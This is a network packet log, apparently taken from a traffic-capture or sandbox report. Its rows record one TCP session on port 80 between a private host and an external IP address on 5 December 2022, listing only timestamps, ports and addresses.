Dec 5, 2022 06:44:36.493165016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493184090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493186951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493201971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493202925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493225098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493225098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493243933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493247032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493267059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493268967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493285894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493294954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493304968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493305922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493324041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493325949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493344069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493345976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493362904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493364096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493382931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493386030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493398905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493402958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493422985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493423939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493439913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493443966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493463993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493482113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493489981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493500948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493519068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493526936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493537903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493539095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493563890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493570089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493580103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493587017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493602037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493608952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493628979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493639946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493647099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493658066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493666887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493676901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493685961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493690014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493705034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493714094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493725061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493726969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493742943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493745089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493760109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493765116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493784904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493799925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493803978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493815899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493825912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493829966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493844032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493845940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493865967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493885040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493894100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493904114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493912935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493923903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493938923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493942022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493953943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493962049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493967056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493979931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493979931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493994951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494000912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494020939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494040012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494046926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494059086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494066954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494077921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494091034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494096041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494117022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494117022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494123936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494143963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494162083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494168997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494183064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494191885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494203091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494215965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494221926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494226933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494241953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494249105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494259119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494262934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494282007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494301081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494303942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494318962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494327068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494338036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494350910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494358063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494362116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494379997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494379997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494400978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494404078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494419098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494421005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494441986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494443893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494456053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494461060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494481087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494498968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494504929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494518042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494529009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494538069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494549990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494556904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494561911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494575977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494585991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494596958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494600058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494615078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494616032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494636059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494637012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494657040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494657040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494677067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494680882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494695902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494698048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494718075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494741917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494756937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494756937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494760990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494781017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494785070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494800091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494800091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494820118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494823933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494837999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494841099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494860888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494867086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494883060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494893074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494913101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494920015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494940042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494945049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494959116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494960070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494980097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.494981050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494999886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.494999886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495019913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495026112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495035887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495039940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495062113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495062113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495075941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495080948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495100021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495102882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495112896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495120049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495138884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495141029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495158911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495166063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495177984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495178938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495191097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495198965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495218039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495218992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495239019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495239973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495260000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495264053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495274067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495280027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495299101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495300055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495316982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495322943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495332956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495337963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495357990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495363951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495376110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495381117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495395899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495398998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495417118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495429993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495444059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495450020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495471001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495477915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495490074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495496035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495510101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495513916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495529890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495529890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495547056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495549917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495572090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495578051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495590925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495594025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495610952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495615005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495630980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495631933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495647907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495651960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495671988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495671988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495692015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495696068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495704889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495709896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495729923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495733976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495743990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495748997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495769024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495785952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495793104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495805025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495819092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495825052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495843887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495845079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495857000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495865107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495881081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495884895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495894909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495904922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495915890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495923996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495928049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495944023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495949984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495964050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495964050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.495985031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.495991945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496004105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496006012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496022940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496026039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496047974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496052027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496066093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496068001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496087074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496094942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496104956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496119022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496125937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496133089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496145964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496153116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496165991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496170044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496184111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496185064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496198893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496206045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496225119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496227026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496244907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496248960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496260881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496265888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496285915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496287107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496304989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496309996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496323109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496325016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496345997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496346951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496366024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496366024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496386051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496387005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496407986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496428967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496431112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496447086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496464968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496480942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496484041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496493101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496504068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496521950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496525049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496541977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496551991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496562958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496577978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496582031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496593952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496602058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496609926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496623039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496627092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496642113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496643066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496663094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496661901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496680975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496690035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496700048 CET	80	49704	66.235.200.147	192.168.2.3
